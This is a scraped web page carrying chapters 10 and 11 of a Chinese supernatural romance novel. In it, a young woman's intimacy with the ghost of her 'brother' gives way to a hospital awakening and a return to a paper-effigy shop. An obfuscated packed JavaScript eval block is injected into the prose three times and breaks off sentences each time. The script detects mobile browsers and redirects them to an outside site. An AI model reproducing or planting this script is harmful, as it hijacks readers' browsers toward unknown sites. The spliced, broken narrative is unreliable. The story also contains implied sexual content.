不知道为什么,谭月珂听到许思哲提到厨房,就想起昨天夜里他抱着自己到厨房喝水的画面。她抿着唇,感觉浑身又热又冷。 “为什么要去厨房做饭?” “你从昨天中午到现在没有吃过东西,虽然你可能不饿,但厨房的冰箱里还有些新鲜的食材,想着还是给你做点吃的。” 许思哲掌心从她的肩头落到她的腹前,带着凉意的掌心小心翼翼地贴上去。 “肚子扁扁的,真的一点食欲都没有吗?” 谭月珂眨眨眼,自己也摸了摸自己的肚子,摇了摇头又点点头,“我不知道……” 她自己也说不清自己的胃是什么感觉,说饿,也没有像平时饥饿时胃部的灼烧感。 说饱定然不可能,毕竟她已经二十几个小时没有吃过主食了。 “没关系的,我饿了,你陪哥哥吃点,好不好。” “哦,好。”她起床劲还没过,动作反应和语气都有些慢悠悠的。 见她还是没睡醒的模样,许思哲索性抱着她刷牙洗漱。 谭月珂被满嘴薄荷味弄清醒了许多,动了动胳膊,才发现自己身上隐隐有一种长久不运动心血来潮运动的酸胀感,特别是她的腿和腿根。 也是,她自从上了大学之后,又没了许思哲的监督,加上身体不是很好,运动的频率变低了很多,期末周前和朋友去爬山,都累得第二天走不动道了。 昨晚那一遭,又是初体验,多少会有些不适应的感觉。 许思哲很快发觉了她动作里的迟钝,“小珂,怎么了,是身上有什么地方不舒服吗?” “有点累,感觉晕乎乎的。”谭月珂如实道。 “身上有什么部位痛或者很不适的感觉吗?” 她摇头,“就是有点酸酸的感觉,应该是正常的吧?” 谭月珂说罢,转身又趴在他的怀里,有人伺候她,她就不想动了。 “嗯,我只是怕你哪里不舒服。不过,昨晚你差不多睡着的时候我有仔细检查过了,还好没有弄伤你。” 许思哲想起夜里的画面,皮外伤确实没有,但她有些部位弄得有些红肿,也被他妥善地处理了。 他弯下腰将小珂重新抱起,朝小客厅走去。 “又不是写小说,动不动就什么被车碾过浑身散架的感觉?太夸张了。”谭月珂在他怀里笑得发颤,“不过……” “不过什么?” “不过和小说里写的一样,很爽,嘿嘿。” “小珂,你呀你,学坏了。”许思哲玩笑般道,将她放到餐桌边的椅子上。 谭月珂抬起头,正巧看见许思哲凸出的喉结。 她鬼使神差地勾住许思哲的脖颈,随后将头仰起,轻轻地咬在喉结上,她的身体为了找到借力点,另一只手下意识撑在他的身前。 暖热的手掌正巧压在许思哲那饱满结实的胸肌上。 谭月珂下意识闭上眼睫,眼睫跟着轻颤起来,好凉……口腔的温度本来就比体表温度要高,她光是用手摸许思哲都觉得他身上依旧散发着丝丝寒意,何况是用唇齿咬住他的肌肤。 舌尖无意地剐蹭过他此处脆弱至极的肌肤,许思哲蹙起眉头,在她头顶吐出一声轻喘。 谭月珂心满意足地松开嘴,抬头一副无辜的圆眼看着许思哲,他的反应好像有点大。 可是她记得咬他胸口时,许思哲可没这种反应呢。 谭月珂像是发现了玩具的新开关,有些兴奋又好奇,“哥哥,我不能咬这里吗?” 她一边问,一边又用指尖摸了摸他的喉结。 喉结在她的指尖下上下滚动,触感有些奇妙。 “可以的……” “但是怎么感觉哥哥好像很难受?”她用着心疼可怜的语气说,脸上却是笑眯眯的神情。 她真的是从小到大被许思哲给惯坏了,那没办法,谁惯坏的谁就要受着了。 “小珂,你明知故问。” 许思哲目光落在她的唇上,唇上好像还沾染着刚刚洗漱过后的湿润,泛着鲜艳的红。 “只要小珂喜欢,做什么哥哥都由着你。” 他捧起她的手,低头在她的掌心上落下个轻吻。 许思哲从前也总是这样握住她的手,轻轻地亲一口,每次看见她的唇想亲吻时,他便生生忍住,最后将吻落在她的掌心中。 以至于如今他明明可以光明正大亲吻她的嘴唇了,许思哲的第一反应还是先在她的掌心上落下个吻。 哥哥的唇很软,她刚刚用凉水洗过手,手心还没热乎起来,所以没有感觉到许思哲唇上的温度。 但谭月珂明显感觉到嘴唇拂过掌心那一瞬间的酸痒感觉,她下意识瑟缩了一下,想要将手从许思哲的掌心中抽走。 许思哲反倒是反手握住她的手腕,俯身往她唇上吻去。 谭月珂从小到大成绩优异,所以她的学习能力向来也好,在接吻这方面虽然没有天赋,但是在昨晚不知道亲过多少次的经历过后,她已经学会要怎么和许思哲接吻最舒服。 这会儿她感觉到了许思哲唇上的凉意,她的手不知不觉就往他身上探去,像是本能又像是习惯,没有一点茧子的掌心贴在肌肉上。 长久亲吻的缺氧感让谭月珂感觉有些晕乎,她推了推许思哲。 许思哲感觉到她的动作,缓慢轻柔地结束了这个吻。 明明他的眼睛看不出一点神色,但谭月珂好像从他的双眸中看出他和自己一样,有些情迷意乱了。 谭月珂下意识往他身下望去,抬起膝盖往他身上,“哥,你是色鬼吧,怎么总想和我做这些事?” 许思哲忽地笑了几声,“小珂,是谁先动嘴的?” “我,我只是心血来潮,想亲一口而已,你身体都有反应了。”谭月珂很是一副理直气壮的模样。 许思哲怔愣了片刻,小时候的小珂就总是这样喜欢故意把错推到他身上,只是后来长大懂事了就很少有这样骄纵的模样。 如今见到她这样,他心底有一种无法言喻的喜悦,他想小珂永远都这样对他,想小珂做什么都无忧无虑,想她只要开心做什么都好。 “嗯,是我的错,是我故意勾引小珂,对吧?” 谭月珂看着许思哲的面庞,昨天夜里她不是没有仔细瞧过他的样子,但那会是晚上,如今大白天看着他,又觉得有些不同的感觉。 他的五官样貌确确实实和以前一模一样,除了肤色更白皙了些,就只有那双眼睛与从前炯炯有神的双眼截然不同。 像是死水,像是无底洞,什么也看不出来,甚至像她扎的那些纸人的眼睛。 但她一点也不害怕,鬼对于一些人来说是不可名状可怖之物,可对于一些人来说是想念已久的亲人。 她仔仔细细瞧着许思哲的眼睛,终于又想起自己的哥哥是一只鬼。谭月珂抬起手摸了摸他的眉骨,问道:“哥哥,你是什么鬼?” 许思哲目光停留在她的眼瞳上,她眼睛好似闪着光。 谭月珂又眨了眨眼,只觉得周遭好像有一阵冷风,短袖外露出的手臂肌肤被这阵突如其来的寒意激起鸡皮疙瘩。 她习惯性抬手摸了摸胳膊上激起的凸起。 “小珂这话是什么意思?我只是一个普通的鬼。”许思哲笑道,抬手摸了摸她的头,“哥哥要是什么很厉害的鬼,那至于现在才能让你看见我。” 许思哲觉得没必要和谭月珂解释自己其实是怨鬼恶魂这件事。 他从未害过人,这两年也只是因为责任与执念相伴在她身旁。让她知道自己如今浑身都是执念与怨念,不过只是平添烦恼罢了。 谭月珂垂下眼睫,浓黑的长睫遮住她的眼睛,但还好也只是两年而已。 两年,其实很快的,她在大学的生活其实也就那样,每天都在做一模一样的事情,做够七百多天就两年了,就能看见哥哥了。 “坏了,饭要凉了,小珂,先吃饭。”许思哲打断她的突如其来哀愁的思绪,摸了摸她的头,“你坐在这等我就好。” 说罢,许思哲转身走去厨房,忙完剩下的活。 吃饭时,许思哲正如同昨天和谭月珂所说的那样,鬼只需要吸取气味,便能感到饱腹,他只静静地坐在谭月珂身旁看着她吃饭。 等忙完吃饭的事,已经下午一点多了。 谭月珂其实对今天没有任何一点计划,吃过饭后,她去看了通往走廊楼梯的门,但实际上那里依旧是实实在在的一堵墙,没有门。 窗外其实根本没有亮光照入,只是屋内的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小珂,我爱你,哥哥会永远爱你的。” “我爱你……” “爱……” 与昨夜那般,许思哲细致地帮她清洗了身子,又抱着她一边轻吻,一边柔声说着话。 谭月珂不至于累得晕厥,但过度满足后的虚无感让她有些无力。 她只想闭着眼睛一动不动地窝在他的怀里。 许思哲的声音很好听,在耳边接连不断,好像在和她讲睡前故事那样。 不过他嘴里的话都很琐碎,让她平日早些睡觉,期末周不要熬大夜复习,早餐一定要吃,平时洗完头一定马上吹干别等着凉头疼,她给他烧的纸钱祭品他都有收到…… 许思哲温柔的声线与舒服至极的怀抱很快将她拖入睡梦中。 然而她的意识并未完全沉寂,她知道自己睡着了,甚至知道自己在做梦。 她梦见在自己从小长大的家中,一楼的厨房,琳琅满目的食物摆在餐桌上,最中央是个巨大的城堡形状蛋糕。 原来这个梦的内容是爸爸妈妈陪她过生日。 谭月珂露出了个笑,眼睛亮了亮,许久未见过父母,她兴奋地朝着妈妈和爸爸的方向跑过去。 “哇,好大的蛋糕!” “小珂喜欢就好。” “小珂准备好了吗,我们快一起唱生日歌吹蜡烛。” 父母的声音先后响起,谭月珂眨着亮晶晶的眼睛开心道:“好!” “小珂,哥哥帮你戴生日帽。” 清润又略带低沉的嗓音传来,谭月珂转身眯了眯眼,眼前的画面渐渐变得更清晰。 来人是许思哲…… 哥哥手里拿着生日帽朝她走近,为她梳理着长发,又小心翼翼帮她戴好生日帽。 谭月珂忽然觉得很混乱,一时之间快要记不清自己现在正在做梦。 因为这是她第一次在梦里见到许思哲。 “哥哥?” “嗯,哥哥在呢。”梦里的许思哲道。 “好了我们唱生日歌吧!”妈妈拍拍手,站在谭月珂身后,双手搭在她的肩上将她推到蛋糕前。 谭月珂闭上眼睛,唱歌、许愿。 生日歌的曲调还未结束,她忽地感觉身后的妈妈弯下腰,属于妈妈身上才有的、朦胧的香味将自己裹住。 谭月珂感觉到梦里的妈妈贴在她的耳边,和她说了一句话,眼前温馨的画面没有变化,但她瞬间绷紧身子。 她听到妈妈说:“小珂,快离开这,小珂,快逃出去。” 10.10 眼前一抹白光晃过,好像过度睡眠醒来后的恍惚。 谭月珂身体不受控地僵硬在原地。 妈妈的话像一阵阵回音盘旋在自己的耳边。 她指甲掐着裙子的边缝,指甲隔着衣物布料掐着掌心,用力得连掌心上都布满了深浅不一的指甲印。 这不是妈妈第一次对她说这句话了。 “快逃,快离开这。” 这到底是什么意思,离开梦境,还是说,离开纸扎铺? 可是无论是离开哪里,谭月珂都做不到啊。 “祝你生日快乐——” 最后一句歌词结束,谭月珂眼前的画面再次变得清晰起来。 她下意识转身看向妈妈,只见妈妈又恢复了往日那般温和的神情,紧接着上前准备切开蛋糕,好像刚刚完全没有和她说过话那般。 她侧头看了一眼爸爸,只见爸爸此时转身背对着她,正在给她拿生日礼物。 掌心传来熟悉的凉意,谭月珂侧头看去,只见许思哲贴在她的身侧,他将她扣弄着自己掌心的手指掰开,将自己的手取而代之地塞入她的掌心里,指尖轻轻挠了挠。 “小珂,在想什么呢?” “哥哥?”谭月珂没有反握住他的手,但也没有挣脱开。 “哥哥在呢。”许思哲笑道,又挠了挠她的手心,“许了什么愿望?” 谭月珂看向桌子上的蛋糕,佣人阿姨切着蛋糕,妈妈和爸爸貌似还在为她准备生日礼物。 她摇摇头,下意识说道:“愿望说出来就不准了。” “好吧,那只有小珂自己知道自己的愿望是什么了,哥哥也不问你了。” 谭月珂现在有些混乱,甚至分不清这个梦境是她大脑潜意识的投射,还是父母的亡魂给她托的梦。 为什么梦里会有许思哲?她从来没有梦到过许思哲,何况昨天许思哲也与她说过,他没有向她托梦的能力。 “小珂,生日快乐,哥哥的礼物迟点给你。”许思哲弯下腰身,往她脸颊上轻轻蹭了蹭。 许思哲带着寒意的唇瓣掠过她柔软的脸颊,谭月珂下意识握紧他的手。 哥哥生前并不会做亲吻她这样过分亲密的动作,所以她梦里的许思哲,是和她表白又与她什么都做了的许思哲。 “先吃蛋糕吧。”许思哲揉了揉她的脸,摁着她坐在餐桌边。 佣人阿姨将切好的蛋糕递来,奶油的香甜逸散到鼻尖,勾得谭月珂有些馋,总归是在做梦,意识和认知不能像醒着时那样清晰,她一时半会也思考不出个所以然来。 事已至此,先吃东西吧。 谭月珂吃了一口蛋糕,又吃下第二口第三口…… 爸爸妈妈把给她准备的生日礼物拿来,送给她。她迷迷糊糊地接了礼物,又埋头吃着蛋糕。 她忽然感觉自己好像很饿,饥饿驱使着她埋头大口吃着蛋糕,全然没有发现眼前画面的变幻。 当谭月珂抬起头时,眼前灰蒙蒙的一片,桌上的食物都消失不见了,她下意识朝着爸爸妈妈的方向望去,只见本来还站在她身侧一起和她吃蛋糕的父母在她眼前一点点消失。 像扬起的尘土,细碎的砂砾在半空中飘散,再缓缓沉降。 “妈妈?爸爸?”谭月珂站起身,无措地看着眼前的一切。 “爸爸妈妈!”她放下手中的蛋糕,茫然地看着眼前的画面。 父母在自己眼前消失的不安感像浪潮那般涌来,谭月珂其实很早之前就习惯自己失去父母这件事了。 可这是梦境,梦境不是美好的吗,她好不容易在梦里和父母一起过生日,为什么他们会在自己眼前消失。 “小珂,快离开这里。”谭月珂好像又听到爸爸妈妈对她说的这句话。 “小珂,小珂,哥哥还在。”许思哲突然从身后抱住她,“小珂,别怕。” “哥哥?”谭月珂回过神来,“哥哥,你是真的哥哥对不对?” 她盯着许思哲黑洞洞的双眼,死死地抓着许思哲的手。 她抬起头往他唇上吻了吻,他丝毫没有闪躲,甚至在她退后准备结束这个蜻蜓点水般的吻时,下意识朝着她的唇上倾去,以此能吻久一点。 这是许思哲和她接吻时的习惯,谭月珂仅仅只是和他亲过两天,便发觉了他这个习惯。 所以哪怕这就是梦,但眼前的一定就是许思哲真正的灵魂。 “哥哥,你到底知道什么不能和我说的秘密,是舅婆,还是爸妈,还是你,把我困在这里的?” 谭月珂其实不是没想过这些可能,只是被困在这里的两天里,她与许思哲相处时实在是太安心了,安心到她觉得只要哥哥陪着她,她是生是死也无所谓。 “是谁想害我是吗?” “小珂,你冷静些。”许思哲抱住她,“小珂,哥哥没法和你说。” “什么意思?”谭月珂感觉那阵熟悉的反胃感再度袭来,哪怕这次有许思哲在,她依旧能隐约感觉到这种不适感。 谭月珂不知为何,心底溢出一种奇怪的不安感,她抓紧许思哲的衣袖。 “许思哲你不要离开我,你说好要永远陪我的。” “嗯,哥哥不是一直都在吗。” 在梦里维持清醒并思考是一件很累的事情,谭月珂快要控制不住自己的意识。 她感觉好累,好晕,下意识地朝许思哲怀里靠去。 身前却猛地扑空,往前面结结实实地倒了下去,掌心撑在地上的撞击感,让她感觉火辣辣的疼。 耳边还残留着许思哲的声音,他在喊她,好像要说些什么,可是来不及说出口了。 眼前一切变得灰蒙蒙的,哥哥也像爸爸妈妈那样在她眼前消散了。 …… 谭月珂的双眼猛地睁开,直勾勾地看着白茫茫的天花板。 原来做噩梦并非像是电视剧演的那样,会被惊吓得猛坐起身。 而是自己的意识先感受到梦境中的恐慌与无措,紧接着是泪腺在意识甚至还不清晰的时刻便挤出了泪,湿热的泪流淌而下蔓延整张脸,等沿着颧骨流到耳廓里时,眼泪已经变凉了。 与此同时另一部分泪液顺着鼻泪管流到鼻腔,堵死她的呼吸,直到她快呼吸不过来,大脑意识才彻底被唤醒。 谭月珂躺在床上张开嘴猛地攫取空气,她伸手胡乱摸到床头柜上的纸巾,将弄得整张脸都湿漉漉的泪水擦干。 等眼泪鼻涕都擦干时,梦境的画面回播,恐惧的后浪直至此刻才冲击她的大脑,心中不知名的恐慌与不安感袭来。 谭月珂很久没有这种感觉了,可以说,她其实很久没有做噩梦了。哪怕这次的梦很奇怪,比起阴暗血腥暴力恐怖风格的噩梦来说,这个梦根本算不上噩梦。 只不过是看着妈妈爸爸还有哥哥在自己眼前消失了。 “哥哥。”她的声音带了点鼻音,下意识伸手想抓到本该睡在她身旁的许思哲。 可眼前只有平坦空荡的床,许思哲不在床上。 这样的感觉很熟悉,她想起白天一觉睡到中午醒来时,她也没有在床上看见本该陪着她睡觉的许思哲。 屋内黑漆漆的一片,她朝着浴室的方向喊:“哥哥?” 回应她的好像只有在房间里回荡的回音。 “许思哲?”她下了床,趿拉着拖鞋漫无目的地在屋子里游荡。 谭月珂感觉不到一点许思哲的气息。 她拿起手机看了一眼时间,凌晨两点半……也不是该起床的时间啊。 谭月珂瞬间感觉浑身起了一层鸡皮疙瘩,从尾椎处传来的电流感蔓延到她的四肢。 “哥哥?”她不死心地又喊了几声,依旧没有任何回应。 凌晨两点半……谭月珂忽地想起,现在已经不是中元节了。 她飞快地走出房间,打开手机的手电筒,照亮眼前的路,凭借肌肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她数不清有几个人进了病房,有条不紊地检查她的情况。 “谭小姐,谭月珂小姐,能听到我说话吗?如果能听见,轻动一下右手食指。” 谭月珂眨了眨疲惫的眼皮,快要将全身力气都用完了,才动了动手指。 接下来她被安排了一系列检查,不知过了多久,又转回到病房。 等谭月珂彻底清醒过来的时候,她才知道自己正躺在医院,甚至还做了一台大手术,只不过手术成功之后不知遇到什么状况,她一直昏迷醒不过来。 她躺在独立病房里,望着医院窗外的树。 知了的声音不绝于耳,一只叫起来,紧接着两只三只也跟着叫唤起来,像要将树都叫折了。 她好像在发呆,好像又在思考。昨天晚上,趁着只有她一个人时,她尝试喊了许思哲的名字,可是没有任何回应她的声音。 她的哥哥去哪了? 她最近到底发生什么事了…… 谭月珂静静地坐在床上,不想下床。 当然主要是因为她躺了好一段时间,腿部肌肉都不利索了,下床走路只感觉自己两股战战,除了康复师来带她活动,她都不下床。 “谭小姐,有位先生拜访您,您现在看看方便吗?”这几天照顾她的护工姐姐打断了谭月珂的思虑。 “有人拜访我?”谭月珂有些狐疑,但还是点了点头。 “谭小姐,您好,打扰了,我是顾修,信安律师事务所合伙人,受黎婉女士,即您的舅婆生前委托,担任其遗嘱及家族信托事务的执行人,黎婉女士为您设立了一份受益权信托。” 谭月珂望着眼前并不陌生的面孔,打断了他的话,眼神里满是不可置信,“顾律师?” 11.11 谭月珂自从在医院醒来之后,一直有些迷迷糊糊的。 她的意识好像脱离自己身体很长一段时间,根本回忆不起来自己这半个月以来发生了什么事。 如果不是因为她知道自己是心脏病旧病复发,否则她以为自己的摔到脑袋短暂性失忆了。 直到昨天,好友和保姆阿姨来医院探望她时,她才渐渐回忆起自己发生了什么事…… 在上个月考完最后一门考试后,谭月珂要在学校待着做项目的实验。 直到有一天,谭月珂本来约了师姐早上九点半去学校仪器中心做个检测,结果师姐一直联系不上她。 谭月珂向来不是这种没有规划和不守时的人,师姐心里有些不安,迅速联系了谭月珂的好友。好友火急火燎赶去谭月珂家里,输入密码开门后发现谭月珂晕倒在餐桌边。 之后便是叫救护车拉她去了医院,做了一台大手术。 手术很成功,但谭月珂始终未能恢复意识。 她的医疗团队在排除常见并发症后,仍然无法确定她持续昏迷的具体原因,只好采取支持性治疗,维持她基本生理功能的稳定。 她这一晕就晕了半个月之久。 直到前两天,她突然醒了过来…… “顾律师。”谭月珂有些激动,这两天吃了几顿饱饭,她浑身都有劲了许多。 她坐直身,扯住顾修的西装衣袖。 “顾律师,我们不是第一次见面,我知道你!舅婆是不是有一间纸扎铺要我继承,只要我完成舅婆的要求,就能继承她留给我的遗产。” 顾修也不恼,语气放缓了许多,也没有刚刚冰冷冷的味道:“谭小姐,您别激动,慢慢说。我在六月二十号时去过南大拜访过您,相关的交接流程也顺利完成。但听医生说您的记忆还有些混乱,我担心您忘记这件事了,所以今天才专程寻您一趟。今天并不是我们第一次见面。” “不对不对,我明明记得我考完试之后就去纸扎铺了,我们已经在纸扎铺待了半个月了。” 谭月珂望着顾修,试图从他的神情中找到什么破绽,很可惜,她什么也找不到。反倒是见他蹙着眉头,似乎有些疑惑。 “谭小姐,很抱歉,你的记忆确实出现了一些差错。你下个学期就要准备毕设,所以计划在考完试后还要学校做半个月实验,你进院之前还没有与我去过纸扎铺。”顾修扶了扶眼镜,缓声道。 谭月珂有些无措地看着顾修,又看了眼护工姐姐。 她感觉头忽地有些痛,谭月珂松开抓着顾修衣袖的手,“抱歉,可能是我还没缓过来。” “没事,本来按照计划,这两天我们就该去纸扎铺了,没料到您生了一场大病。黎婉女士在天之灵,定是会希望您先照看好身体。” 顾修顿了顿,“信托的事可以往后放放,不着急。” 谭月珂又扭头茫然地看向医院窗外的树上,葱绿的树叶在夏日的热风里轻轻摇曳。 顾修见她这副模样,便不好再打扰她,很快离开医院。 下午,医生又帮她做了一些检查,确认没有任何问题,只要康复师带她恢复正常的行走状态,便能安排出院手续。 谭月珂发现现实里这一个月发生的事情和她记忆里完全不一样。 她记忆里自己明明一结束期末周就前往舅婆的纸扎铺,明明在纸扎铺待了半个月,明明在中元节那两天见到了哥哥,还与许思哲经历了很多事。 哥哥,她的哥哥去哪了? 谭月珂唯一确定的事情是这个世界上存在鬼魂,只是并非所有鬼魂都能在人间徘徊。 因为自从她醒来之后,谭月珂想起了小时候手术前的很多事。 她小时候有阴阳眼,当然不像志怪小说写的那样,能看清楚鬼的样貌甚至能和鬼交流。 她只能看见隐约的人影,能看出个大概形状,有一部分特征明显得能看得出性别,大部分鬼魂是黑色或者白色的。 但她的阴阳眼在四岁那场手术后就消失了,连带着之前的记忆也几乎消失了。 直到这次发病手术,她好像又能看见那些模糊的魂体。 她在医院的走廊,就有见到过几次。 谭月珂将自己记忆错乱这件事告诉了医生。医生却说也许她是在昏迷的那段时间里做了个很长的梦。 可她却不觉得这是一场梦,一般的梦,其实完全不讲逻辑的。爸爸妈妈托梦的梦,和自己睡眠期间由于大脑某些区域高速活动做的梦,是不一样的。 所以一直以来,她能分得清托梦与普通的梦。 许思哲与她相处的那些记忆,完全不像是单纯做梦梦到的。 何况,这两年里,她从来都梦不到许思哲的。 她知道这一切绝对不是幻想与做梦那么简单的事情! 接下来的一周里,谭月珂偶尔也有与顾修联系。 可是她无论怎么旁敲侧击,都无法从顾律师这里探出更多的信息。他始终维持专业与克制的态度,除了和信托有关的事,他几乎不会和她聊别的什么话题。 谭月珂又尝试是否能做梦梦见哥哥,她试过在睡前回忆哥哥生前的事,试过看他们从前的照片,甚至想了一些歪门邪道,依旧失败。她根本梦不到许思哲。 如果不是因为许思哲销户的身份证还在她的包包里,她甚至都怀疑许思哲这个人是不是压根就不存在于这个世上。 如今如果想要找到线索,还是要去纸扎铺看个究竟。 好在她年轻,恢复得很快,生活回到了正轨后,她与顾修约好了时间,带着行李前往那间纸扎铺。 谭月珂坐在后座上,平时坐车不是玩手机就是睡觉的她此刻正趴在车窗,仔细看着车外的场景。 外面的路越走越熟悉,谭月珂看见了城隍庙,又看见城隍庙旁边的两颗槐树。 与她记忆里的一模一样,她之前甚至还在这段路经历过鬼打墙。 正午的阳光照在地面上,砂砾闪烁着异样的光芒,热得地面悬浮着一层波浪状热浪。 可谭月珂并不觉得热,反倒是有一种莫名的寒意,这种寒意并非车内冷气温度过低的凉意,而是一种似乎是从身体里由内而外散发的冷意。 谭月珂对这种感觉其实很熟悉,只有阴气重的时候,她才会有这种感觉。 正午时分,阴气至重。 这附近又都是做白事生意的店铺,阴气重些也正常。只不过奇怪的是这一路上,她都没有看见什么奇怪的鬼影。 “谭小姐,我们快到了。” 谭月珂的目光从车窗外移开,挤出一个笑回道:“哦,好的。” 她下了车,将行李箱拿出来,看着与记忆中一模一样的三层小楼,总觉得自己似乎距离答案越来越近了。 她经历的绝对不是做了一场梦那么简单的事情…… 只是她也没有像之前在医院那样冲动,因为她知道,她无论怎么问,都问不出结果。 接下来一个星期,她做着和记忆里一模一样的事情,和师傅学传统的纸扎手艺,打理打理纸扎铺。 正巧还有两天是许思哲的忌日,谭月珂扎了许多新鲜玩意,算好时辰到时候烧给他。 谭月珂将糊好的纸扎放到架子上,这个货架专门放她自己做的纸扎用品。 “哎呀。” 不小心碰掉了一个纸扎豪车,谭月珂轻呼一声。 她蹲下身捡起,却在架子最底层看见了一个有些眼生的纸扎楼。 谭月珂皱起眉,看着眼前的这个纸扎楼。 货架与货架挨得有些近,再亮堂的灯光此时都变得有些昏暗。 谭月珂眯起眼,将纸扎小楼拿出来,才发现这个纸扎的小楼,简直是等比例放小的纸扎铺。 三层小楼,一楼是商铺,二楼三楼是居住区域。 她撩起长发,发现纸扎小楼里面也有物件,虽然是用纸扎的房子,但精细程度堪比微缩小屋。 纸屋子里面的家具物件也与现实中大差不差。指腹碰到底座有个开关,谭月珂扣开,小楼亮起灯来。 看来这个纸屋还装有小灯装置。 谭月珂下意识往纸楼二楼看去,视线受限,无法看到完整的二楼内部结构,但她看见了楼梯还有卧室的纸床。 她怔愣地看着纸楼梯连接到走廊的位置,走廊与二楼之间没有门,只有一面纸墙。 背后一阵莫名的凉意,谭月珂猛地回头,不知为何总觉得身后有什么晃过去。 可回头看过去又什么都没看见。 “谁?顾律师,是你回来了吗?” 谭月珂放下纸扎楼,站起身往门口的方向看去。 这个点的纸扎铺已经打烊了,顾修今天有事一整天都不在纸扎铺,这时屋子里只有谭月珂一个人。 但当她望向门时,门依旧紧闭着。 丝毫没有除了谭月珂之外的人存在的气息。 她低头又看了眼放在地上的纸扎楼,眉心不自觉地皱成一团,“奇怪……” 谭月珂抖了抖身子,心底莫名发怵,还未来得及思考,她手机铃声忽地响起。 音调略微诡谲的铃声在响起的一瞬,谭月珂的手下意识抖了抖。 屋内里亮堂堂的,此刻却有种说不出的古怪。 这种过于明亮又寂静的环境,反倒是会让人感到不安。 看见是周师姐打给她的,谭月珂才压住气,转身走出货架接通了电话。 原来是师姐问她身体状况以及想约她后天出来吃饭。 上个学期导师安排给她和师姐的一个科研项目通过终期答辩顺利结题,上周,项目的资助拨款打到卡里了,师姐和同组的伙伴们商量着要一起出去吃饭庆祝一下。 师姐他们暑假还在学校,订了一个离学校不远的餐厅。 纸扎铺距离学校不过二十公里的距离。 谭月珂本身性子就有些宅,从期末周那个月到现在,她都没出门玩过。她自然没什么可拒绝的,便毫不犹豫地答应了师姐。 挂了电话,谭月珂回头看向刚刚那个架子,她吐了一口气,若有所思地回了二楼卧室…… 约饭的时间在傍晚,白天时谭月珂便出门在附近的商场逛了逛,到了和师姐约定的时间便前去餐厅。桌上都是同辈人,也单纯只是吃一顿饭,这顿饭吃得毫无负担。 周芮师姐见谭月珂一直盯着手机看时间,她回头看了眼餐厅窗外,夏天的夕阳来得晚,现在大伙快吃完饭了但天边还是亮堂堂的。 周芮有些疑惑:“月珂,怎么一直在看时间,你要早点回家吗?” 这桌只有谭月珂一个人不住学校,等会要自己一个人回家,周师姐第一反应便是安全问题。 谭月珂挤出一个轻松的笑,摇了摇头,“没事,我本来有个事做的,过了时间就不好弄了,但也不是很重要的事,今天就不弄了。” 她的目光又看了眼时间,默默将手机息屏揣回包里。明天是许思哲的忌日,她说的事其实是她本来算好今晚有个时辰是为许思哲他烧纸最好的时辰,但她现在估摸着赶不回纸扎铺了。 这事说重要,其实也没那么重要了。也许一直以来都是她自己一个人自欺欺人,这世上哪怕真的有鬼,她也不会和这些鬼有什么交集。 她甚至见不到连自己最亲近的家人,她给他们烧的那些纸钱物品不过也只是一个美好的愿景…… “哦,这样啊,你要是吃饱了可以先走,免得回到家的时候太晚了。”周芮拍了拍她的肩。 谭月珂摆摆手,“没事,我自己开车来了回家很方便的。” “你自己开车来的?”周芮有些惊讶,“月珂,你有没有喝酒。” 她抿了抿唇,“啊,我忘了,我喝了一口,因为我以为那个是饮料!没事,我晚些叫个代驾吧。” 谭月珂吸了吸鼻子,甚至还能感觉到鼻腔中的酒味儿。 从前有许思哲盯着她,她很少喝酒,自己不喜欢喝酒且酒量也不好,所以哪怕喝了一口,她都不敢自己开车回去了。 坐在侧边的师兄梁池打断她的话,“月珂你等会要叫代驾吗?你要是不嫌弃我,我可以开车送你回去。” “你知道的,我酒精过敏,滴酒不沾。”梁池笑道。 “对啊,老梁总比代驾可靠安全,反正现在还早,你那边也不会很塞车,又有地铁站直达回学校。”周芮支持道。 为了方便,有课的时候,谭月珂都是把车停在学校。 之前有一次做实验要做一项检测,要去到学校另外一个校区的仪器中心才能做,因为那会自己驾龄还没满一年,不能上高速,是梁池师兄开她的车和她一起带着样品去做测试。 师姐说的没错,师兄知根知底,而且还开过她的车。谭月珂笑眯着眼,“那麻烦师兄了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047941|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不麻烦。” 好在今天一路上几乎没有塞车,很快便开到纸扎铺所在的清灵区,开了半个小时后,车窗外的画面也越来越熟悉。 “师兄,你不怕鬼吧?”谭月珂在上车之前就有和梁池说过她住的地方可能有点邪门,周围都是做白事的铺子。 “我可是坚定的唯物主义者。” 他顿了顿,感觉和一个家里做白事生意的人这样说又不太好,找补道:“不过这个世界的真相我们普通人哪那么容易知道呢。不过我觉得像我这种普通人,就算真有鬼,也不会让我见到的。” 谭月珂望着车前,摸了摸口袋,她点了点头,“是的,英雄所见略同呐。” “师兄,往这边拐进去,更近一点。”谭月珂指着分岔路口的左侧道。 “好。”导航很快也实时换了一个新的路线。 “天黑得好快啊,我们才从餐厅出来的时候天还好亮的。” 谭月珂看着渐渐暗下来的灯光,“街道那边的路灯不是很亮,越往里走,可能会越黑。” “好的,我会注意的。” 又过了将近十分钟,梁池皱起眉,总觉得有点不对劲,“月珂,导航这条路是对的吗?” 谭月珂回过神来,“诶,导航又缺德了?我看看。” 